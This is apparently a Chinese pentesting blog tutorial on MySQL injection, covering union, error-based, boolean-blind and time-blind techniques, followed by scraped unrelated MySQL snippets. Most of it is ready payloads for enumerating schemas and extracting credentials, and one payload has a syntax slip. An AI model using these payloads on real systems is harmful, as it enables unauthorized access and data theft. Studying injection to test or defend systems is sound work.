Mysql注入—union联合注入、报错注入、布尔盲注、时间盲注

2023-10-27

Union联合注入

判断是否存在注入,判断注入点类型
参考另一片博文———>> 渗透技巧——手动判断注入点(思维导图)

1.获取数据库中信息:判断列数

1 order by 1 --+
1 order by n --+

备注:判断列数可以使用“二分法”:及一分为二的方法,设[a,b]为R的闭区间,逐次二分法就是造出如下的区间序列([an,bn]):
a0=a,b0=b,且对任一自然数n,[an+1,bn+1]或者等于[an,cn],或者等于[cn,bn],其中cn表示[an,bn]的中点。

2.获取数据库中的信息:判断数据显示位

-1 union select 1,2 --+

备注:这里使用-1使之前的语句查询无结果,则显示的时候就会显示union之后的第二条语句。

尝试在显示位输入需要查询下的语句或函数

-1 union select version(),user() --+

常用函数:参考另一篇博文——>> mysql数据库常用函数(渗透测试专用)

3.获取数据库中信息:查看数据库表
首先我们要先了解information_schema库

  • SCHEMATA表:当前Mysql中的所有数据库信息。show databases命令:命令从这个表获取数据。
  • TABLES表:数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储类型、存储引擎、创建时间等信息。show tables from database命令:从这个表获取结果。
  • COLUMNS表:存储表中的列信息,包括表有多少列、每个列的类型等。show columns from tablename命令:从这个表获取结果。
-1 union select 1,schema_name from information_schema.schemata --+     查询数据库名 
-1 union select 1,table_name from information_schema.tables where table_schema ='数据库名'#     查询表名

4.获取数据库中的信息:获取列名

-1 union select 1,column_name from information_schema.columns where table_name='表名' and table_schema ='数据库名'#

5.获取数据库中信息:查看账号密码信息
查询数据 union select 字段名,字段名 from 表名 #

字符串拼接常用函数

  • concat():将多个字符串连接成一个字符串 例子:select concat(‘M’,‘y’,‘S’,‘Q’,‘L’)
  • concat_ws():将多个字符串连接成一个字符串,但可以指定分隔符 例子:select concat_ws(’_’,‘M’,‘y’,‘S’,‘Q’,‘L’)
  • group_concat():将多行结果连接成一组 例子:select group_concat(user) from user;
  • limit 0,1 从第一行开始,展示一行数据。 limit 0,2 从第一行开始,展示两行数据
例子:在users表中查找admin 和password值并且中间用_隔开
-1 union select group_concat(admin,'_',password) from users#     

报错注入

  • 报错注入 (Error-based injuction),就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
  • 正常用户访问服务器发送id信息返回正确的id数据,报错注入就是想办法构造语句,让错误信息中可以显示数据库的内容,如果能让错误信息中返回数据库中的内容,即实现SQL注入

1.XPATH报错注入:

extractvalue(arg1,arg2)

  • 接受两个参数,arg1:XML文档,arg2:XPATH语句
  • 条件:mysql5.1及以上版本
  • 标准payload:and extractvalue(1,concat(0x7e,(select user()),0x7e))
  • 返回结果:XPATH syntax error.’~root@localhost~’

updatexml(arg1,arg2,arg3)

  • arg1为xml文档对象的名称,arg2为xpath格式的字符串;arg3为string格式替换查找到的符合条件的数据
  • 条件:mysql5.1.5及以上版本
  • 标准payload:and updatexml(1,concat(0x7e,(select user()),0x7e),1)
  • 返回结果:XPATH syntax error:’~root@localhost~’

注意:XPATH报错注入的使用条件是数据库版本符合条件;extractvalue()和updatexml()有32位长度限制。
解决办法:用substr()函数截取前后部分 例如:
and extractvalue(1,concat(0x7e,substr((select database()),1,5))) %23

2.floor报错注入

  • floor()函数的作用是返回小于等于该值的最大整数,只返回arg1整数部分,小数部分舍弃
  • 条件:mysql 5.0及以上版本
  • 标准payload:
    and(select 1 from (select count(*),concat(user(),floor(rand(0)*2)) as x from information_schema.tables group by x) as y)
  • 结果:Duplicate entry ‘root@localhost1’ for key ‘group_key’

floor()报错注入准确的说应该是floor、count、group by 冲突报错,count(*)、rand()、group by 三者缺一不可

  • floor()——取整数
  • rand()——在0和1之间产生一个随机数
  • rand(0)*2——将取0-2的随机数
  • floor(rand()*2)——有两条记录就会报错
  • floor(rand(0)*2)——记录需为3条以上,且3条以上必报错,返回的值是有规律的
  • coun(*)——用来统计结果,相当于刷新一次结果
  • group by——在对数据进行分组时会先看虚拟表中是否存在这个值,不存在就插入,存在的话conunt(*)加1,在使用group by 时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次

3.其他常用报错注入:

列名重复报错

  • 条件:name_const()函数在低版本中可以支持5.0,但是再高版本5.1+中就不支持了
  • 说明:nameconst(name,value),当用来产生一个结果集合列时,name_const()促使该列使用给定名称
  • 标准payload :
    and select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a;

整形溢出报错注入

  • 条件:mysql5.5.5及以上版本
  • 说明:exp是以e为底的指数函数,由于数字太大会产生溢出。该函数会在参数大于709时溢出,产生报错
  • 标准payload:and exp(~(select * from(select user())a))

几何函数报错注入

  • 条件:高版本MySQL无法得到数据
  • 相关函数:geometrycollection()、multipoint()、polygon()、multipolygon()、linestring()、multilinestring()
  • 说明:函数对参数要求时形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错
  • 标准payload:1' and multipoint((select * from(select * from(select user())a)b));

使用报错注入获得数据库信息的过程

  • 1.查看数据库版本:
1 and extractvalue(1,concat(0x7e,(select version()),0x7e)) #
  • 2.查看数据库名字:
1 and extractvalue(1,concat(0x7e,(select database()),0x7e)) #
  • 3.查看数据库中有多少个表:
1 and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database()),0x7e)) #
  • 4.查看数据库有哪些表:
1 and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) #
  • 5.查看表里面有哪些列名:
1 and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name= 'table_name' limit 0,1),0x7e)) #
  • 6.查看表里面的数据:
1 and extractvalue(1,concat(0x7e,(select group_concat(列名) from 数据库名.表名),0x7e)) #

布尔盲注

  • 布尔型盲注是SQL盲注的一种,就是再进行SQL注入的时候,WEB页面仅返回true或false
  • 布尔型盲注会根据web页面返回的true或false信息,对数据库中的信息进行猜解,并获取数据库中的相关信息

布尔盲注相关函数

substr()、substring()、mid()

  • 说明:用来截取字符串中的一部分,在各个数据库中的函数名称是不一样的
  • 使用方式(以substr为例):substr(arg1,int1,int2),arg1为被选取的字符串,int1为截取开始的位置,int2为截取长度
  • 表示:从int1开始的位置,截取int2个字符,注意:int1是从1开始的,不是从0开始的。
  • 举例:数据库名字为:users,执行命令:select substr(database(),1,3) 返回结果为use (从第1位开始,到第3位结束)

length()

  • 说明:获取字符串长度
  • 使用方法:length(arg1),arg1代表字符串
  • 举例:数据库名字为:users
  • 执行命令:select length(database()); 结果:5(数据库长度为5)

ascii() 、ord()

  • 说明:将单一字符,转化为ascii码值
  • 使用方式:ascii(str),str代表字符
  • 举例:执行命令:select ascii(‘a’); 结果:97(a的ascii码值)

left()

  • 说明:返回具有指定长度的字符串的左边部分。
  • 使用方法:left(Str,length) str代表字符,length代表要查看具体左边字符的长度。
  • 举例:执行命令:数据库名为 users select left(database(),3) 结果为:use

regexp()

  • 说明:利用正则表达式查询匹配
  • 使用方法:select user() regexp ‘^ro’; 利用正则表达式判断user是否为’ro’开始
  • 自mysql 3.23.4版本后,正则不区分大小写,如果需要区分大小写的话,可以使用 BINARY 关键字,例如:select ‘Hello’ regexp binary ‘^h’;

使用布尔盲注获得数据库信息的过程

  • 1.获得数据库的长度
    说明:通过页面回显判断数据库名长度
    举例:数据库名为security
and (length(database()))>7 →有回显,说明数据库长度>7
and (length(database()))>8 →无回显,说明数据库长度<=8
and (length(database()))=8 →有回显,说明数据库长度=8
  • 2.获得数据库名
    说明:通过改变n和m获取数据库的字符
    方法:and ascii(substr(database(),n,1))=m (n为位数,m为ascii码值)
    举例:数据库名为security
and ascii(substr(database(),1,1))=97→无回显,说明数据库名第一位的ascii码不是97
and ascii(substr(database(),1,1))=115→有回显,说明数据库名第一位的ascii码是115
  • 3.获取数据库的表个数
    方法:and (select count(*) from information_schema.tables where table_schema=database())>n
    改变n的值,并结合页面回显判断表的个数
    举例:如下案例有回显说明数据库中有4个表
and (select count(*) from information_schema.tables where table_schema=database())=4    
  • 4.获得数据库表名长度
    方法:and (select length(table_name) from information_schema.tables where table_schema = database() limit n,1)>m
    需要用limit来限制表的个数,每次读取一个表。
    举例:如下有回显,说明数据库中,第一张表的长度为6位。
and (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1)=6
  • 5.获得数据库表名
    方法:用limit限制表的个数和字符的个数
    and ascii((substr((select table_name from information_schema.tables where table_schema=database() limit x,1),y,1)))=z
    举例:如下有回显,说明数据库中,第一张表的第一个字符ascii码值<100
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<100
  • 6.获取列名(先获取列名个数,再获取列名长度,最后获取列名)
and (ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1)1,1)))>100 #
  • 7.获得数据
and (ascii (substr((select 列名 from 数据库名.表名 limit 0,1),1,1)))=68 #

时间盲注

相关函数

sleep()

  • 说明:sleep(int1)用来捕获到执行迅速不易被查看到的语句以确定我们的程序是否确实再服务器端发起了该语句,int1是中断的时间,单位是秒
  • 语句:select if(1=1,sleep(3),'goodbye') 结果1=1成立,延时3秒

benchmark()

  • 说明:benchmark(arg1,arg2)用来测试一些函数的执行速度,arg1是执行的次数,arg2是要执行的函数或者表达式。与sleep()函数基本一样,但是当sleep()不能使用时,可以使用benchmark()函数
  • 语句:select if(1=1,benchmark(5000000,md5('abc')),'goodbye') 结果1=1成立,页面延迟x秒显示,根据机器性能不同,执行时间不同

if()

  • 说明:条件判断
  • 使用方法:if(arg1,arg2,arg3),arg1代表判断的条件,arg2是条件为真返回的结果,arg3是条件为假返回的结果
  • 举例:数据库名字为users
  • 执行命令:select if(length(database())>0,'true','false'); 结果:true(数据库长度为5为,大于0)

case when else end;

  • 说明:CASE 函数允许根据筛选条件,当与第一个条件符合时返回一个值。
  • 适用场景:适用于一个条件判断有多种值分别执行不同的操作的场景。
  • 使用方法:case arg1 when true then arg2 else 0 end; arg1代表判断的条件,arg2是条件为真返回的结果
  • 举例: case length(version())>10 when 1 then sleep(3) else 0 end; 当版本长度大于10时,睡眠3秒,其他条件返回0.

时间盲注获得数据库的基本过程:

  • 1.获得数据库名的长度,通过页面显示的时间判断数据库名长度
and if((length(database())>5),sleep(5),1)#
and if((length(database())=6),sleep(5),1)#
  • 2.获得数据库名,通过改变n和m依次获取数据库的字符
and if((ascii(substr(database(),n,1))=m),sleep(5),1)#
  • 3.获取数据库表名(同理先获取长度)
and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100,sleep(5),1)#
  • 4.获取数据库列名
and if((ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100,sleep(5),1)#
  • 5.获取数据
and if((ascii(substr((select 列名 from 表名 limit 0,1),1,1)))=97,sleep(5),1)#
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Mysql注入—union联合注入、报错注入、布尔盲注、时间盲注 的相关文章

  • MySQL 中的创建/写入权限

    我的设备遇到一些权限问题SELECT INTO OUTFILE陈述 当我登录数据库并执行简单的导出命令时 例如 mysql gt select from XYZ into outfile home mropa Photos Desktop
  • 'numpy.float64'对象没有属性'translate'在Python中将值插入Mysql

    import dataset db dataset connect table db 当我尝试向 Mysql 表中插入一些值时 发生了此错误 我插入表中的示例值 print Buy ticker price date OType OSize
  • MySQL小写自动转换

    我有多个在数据库表中写入数据的 Web 服务 我想针对特定字段自动将大写字符串转换为小写字符串 mysql 有没有执行此任务的函数 假设这是表 id name language 有时 在语言字段内 Web 服务会写入大写字符串 IT 我想直
  • mysql 详细查询字符串,如通配符

    不知道如何标题我的问题 哈哈 下面是我需要的 我的数据库中的值如下所示 test example 1 test example 2 test example TD 1 这些值的长度可以不同 test example 只是一个示例 某些值将具
  • 如何使用php在mysql数据库中添加照片? [关闭]

    这个问题不太可能对任何未来的访客有帮助 它只与一个较小的地理区域 一个特定的时间点或一个非常狭窄的情况相关 通常不适用于全世界的互联网受众 为了帮助使这个问题更广泛地适用 访问帮助中心 help reopen questions 我对 PH
  • 在 BIRT 中输入参数后更新数据集查询

    在 BIRT 报告设计中传递参数后 如何更改或更新数据集的查询 详细说明 我有一个如下所示的查询 WHERE 该参数标记可以保存不同的值 在用户输入参数后 它看起来像这样 例如 WHERE column name 1 or WHERE co
  • 数据读取过程中遇到致命错误

    我正在进行定期更新表扫描 Using connect1 As New MySqlConnection ConnectLocalhost serverString connect1 Open Dim cmd New MySqlCommand
  • MYSQL 按喜欢/不喜欢和受欢迎程度排序

    我有评论表 其中包括喜欢和不喜欢的内容 现在我在正确的顺序上遇到了问题 实际上 我的系统在顶部显示了最多点赞的评论 我正在 youtube 上寻找类似系统的东西 这意味着 100like 100dislikes 的评论的顺序高于 1 1 我
  • MySQL 5:我的 GROUP BY 字段的顺序重要吗?

    Peeps 我的 MySQL 查询中有一些聚合 计算字段 我的 GROUP BY 子句是动态生成的 具体取决于用户在 Web 表单中选择的选项 很好奇 GROUP BY 子句中列出的字段顺序是否会对计算产生任何影响 例如 SUM AVERA
  • 用于全文搜索和 2 亿多条记录的数据库

    我即将创建一个包含至少 2 亿个条目的庞大数据库 数据库需要可使用全文进行搜索 并且速度应该很快 我的数据库从许多不同的数据源获取数据 我需要定期导入新的或更新的数据 将我的所有数据存储在像 mysql 这样的关系数据库中 然后创建一个 n
  • 如何在 Ansible 中运行 MySQL 查询

    我需要编写一个 Ansible 脚本来在 MySQL 数据库中执行 SQL 查询 这是我尝试过的 你能指导一下吗 hosts localhost tasks name retrive data command mysql u root h
  • Magento - 无法重新索引产品价格 - 外键约束失败

    我最近刚刚将我的 magento 商店从 1 4 2 升级到 1 7 0 2 升级进行得很顺利 但是当我尝试在升级后重新索引数据时 产品价格失败了 我尝试过使用php shell indexer php reindexall来自 SSH 它
  • mysql时间比较

    我有 job start 和 job end 时间 timediff 会给我时间差 现在我想看看这项工作是否花费了超过 2 小时 30 分钟 我如何比较它 如果我这样做 我会收到错误 timediff job start job end g
  • 转义用户数据,无需魔法引号

    我正在研究如何在来自外部世界的数据被用于应用程序控制 存储 逻辑等之前正确地对其进行转义 显然 随着 magic quote 指令在 php 5 3 0 中很快被弃用 并在 php6 中被删除 对于任何想要升级并进入新语言功能 同时维护遗留
  • 蟒蛇 | MySQL | AttributeError:模块“mysql.connector”没有属性“connect”

    我正在学习 python 中的一个新库 mysql 我尝试执行以下命令 import mysql connector mydb mysql connector connect host localhost user root passwd
  • 如何删除MySQL中的所有事件

    如果我想删除某个事件 我需要查询类似的内容 DROP EVENT IF EXISTS eventname 但我找不到一次性删除所有事件的命令 必须一项一项地删除 有没有一次性删除所有事件的SQL DROP EVENT IF EXISTS S
  • MySQL 两种日期格式之间的转换

    用户将以这种格式输入日期 2017 年 2 月 17 日 存储在 mysql 数据库中的日期格式如下 2015 02 17 00 00 00 我想做的是 SELECT FROM insurance where DATE FORMAT in
  • 批处理文件并与数据库比较

    目前我正在开发一个 Spring Boot 应用程序 该应用程序定期尝试处理包含用户数据的文件 其中每行都包含userId and departamentId隔开 例如123534 13 该文件将包含数百万条记录 我的要求是以这样的方式将此
  • 控制数据是否存在于数组中

    我在mysql中有两个不同的表 我正在使用curl从json文件中获取数据 我的第一个表名称是 tblclients 该表存储客户端数据 我的第二个表名称是 tblcustomfieldsvalues 该表使用 tblclients 表的
  • Mysql加密/存储敏感数据,

    我的 PHP 网站有以下内容 启用 SSL 饼干 session set cookie params cookieParams lifetime cookieParams path cookieParams domain secure ht

随机推荐

  • django2.x/3.x 前端页面在debug模式中找不到动态文件static

    修改setting配置 STATIC URL static STATICFILES DIRS os path join BASE DIR static html页面中 load static bootstrap bootstrap min
  • objdump说明

    objdump有点象那个快速查看之流的工具 就是以一种可阅读的格式让你更多地了解二进制文件可能带有的附加信息 使用objdump显示vxWorks的文件头信息以及入口地址例子 D ftproot gt C Tornado2 2Arm hos
  • css文本超出容器宽度自动换行及超过行数加省略号...

    css文本超过div的宽度时 让它进行自动换行 并且超过div高度时候 在最后一行加省略号 废话不多说 上代码 display webkit box overflow hidden text overflow ellipsis word w
  • 基站分布图,通过基站定位数据来看google基站数据分布

    原文地址 http hi baidu com ant mobile blog item 6d619b11042fd2f7c2ce7950 html 无论是应用更广泛的gps定位 还是基站定位 Wi Fi定位 都需要依托于强大精确的地图 而g
  • STM32CubeIDE使用笔记(02):STM32CubeMX配置与代码生成

    文章目录 目的 用户界面 引脚输出和配置 时钟配置 项目管理 工具 代码生成 更换芯片 总结 目的 STM32CubeIDE中整合了STM32CubeMX用来配置芯片资源生成初始化代码 本篇将介绍STM32CubeMX使用方法 用户界面 界
  • pycharm如何打开历史_分享Pycharm中一些不为人知的技巧

    工欲善其事必先利其器 Pycharm 是最受欢迎的Python开发工具 它提供的功能非常强大 是构建大型项目的理想工具之一 如果能挖掘出里面实用技巧 能带来事半功倍的效果 以下操作都是基于 Windows 平台下的默认KeyMap设置 在
  • MongoDB局域网访问

    在安装目录下的配置文件中修改IP 执行命令 mongod config C Program Files MongoDB Server 4 4 bin mongod cfg logpath E MangoDB log mongod log l
  • Spring面试题

    1 Spring是什么 1 Spring是 个轻量级的控制反转和 向切 的容器框架 2 通过控制反转 IoC 的技术达到松耦合的 的 3 包含并管理应 对象 Bean 的配置和 命周期 这个意义上是 个容器 4 可以整合多种技术 2 谈谈你
  • 现金额大写转换函数

    现金额大写转换函数 ecDo upDigit 168752632 result 人民币壹亿陆仟捌佰柒拾伍万贰仟陆佰叁拾贰元整 ecDo upDigit 1682 result 人民币壹仟陆佰捌拾贰元整 ecDo upDigit 1693 r
  • springboot 项目控制台输出数据库数据

    springboot 项目控制台输出数据库数据 项目目录 修改application properties文件 连接数据库和本地服务器 数据库表及数据 Mapper层 package com example poem mapper impo
  • Pytorch学习笔记--常用函数torch.optim.SGD()总结3

    1 torch optim SGD 函数拓展 import torch LEARNING RATE 0 01 梯度下降学习率 MOMENTUM 0 9 冲量大小 WEIGHT DECAY 0 0005 权重衰减系数 optimizer to
  • maya中的场景资产管理sceneAssembly

    目录 简介 为什么要使用 作用 使用方法 简单的流程介绍 简介 这是maya中的一个流程资产管理插件 用于大场景的整合 内部的工作原理有点类似是reference的封装 为什么要使用 在生产制作中 一个好的流程 都是各个环节并行的 但是上游
  • 在Spring Security中,如何重写AuthenticationProvider类的authenticate方法,以接收json格式的登录请求...

    在Spring Security中 可以通过实现AuthenticationProvider接口并覆盖其authenticate 方法来重写AuthenticationProvider类 以接收JSON格式的登录请求
  • PIL,cv2读取类型及 numpy,tensor格式转换

    PIL读取图片格式以及数据转换操作 PIL库读取的图片格式是 H x W x C 格式的 比如一张图是128x128x3 图片格式PIL PngImagePlugin PngImageFile 通过numpy array img 或者num
  • css元素居中的方法

    目录标题 水平居中 1 给元素设置margin 0 auto 2 margin 负值法 3 transform 4 table布局 5 flex布局 6 inline block 垂直居中 1 margin auto 2 margin 负值
  • 单元测试Mockito使用及详解

    一 什么是MOCK测试 Mock 测试就是在测试过程中 对于某些不容易构造 如 HttpServletRequest 必须在Servlet 容器中才能构造出来 或者不容易获取比较复杂的对象 如 JDBC 中的ResultSet 对象 用一个
  • 解决burpsuite无法对DVWA环境(本地环境)进行抓包

    使用的浏览器 Firefox 问题描述 在DVWA环境中爆破时 发现burpsuite无法对DVWA环境中进行抓包 解决方案 在火狐浏览器url栏输入 about config 然后在搜索栏输入 network proxy allow hi
  • 正确解决:坑爹的0xc000007b——应用程序无法正常启动

    问题情景 vs2013 写的一个64位的exe程序 release后带着来自系统目录C Windows SysWOW64 msvcr120 dll 到一个没有runtime的win7环境去运行 没有用到MFC 所以带着这个msvcr120
  • 华为校招机试题-货币单位换算-2023年

    题目描述 记账本上记录了若干条多国货币金额 需要转换成人民币分 fen 汇总后输出 每行记录一条金额 金额带有货币单位 格式为数字 单位 可能是单独元 或者单独分 或者元与分的组合 要求将这些货币全部换算成人民币分 fen 后进行汇总 汇总
  • Mysql注入—union联合注入、报错注入、布尔盲注、时间盲注

    Union联合注入 判断是否存在注入 判断注入点类型 参考另一片博文 gt gt 渗透技巧 手动判断注入点 思维导图 1 获取数据库中信息 判断列数 1 order by 1 1 order by n 备注 判断列数可以使用 二分法 及一分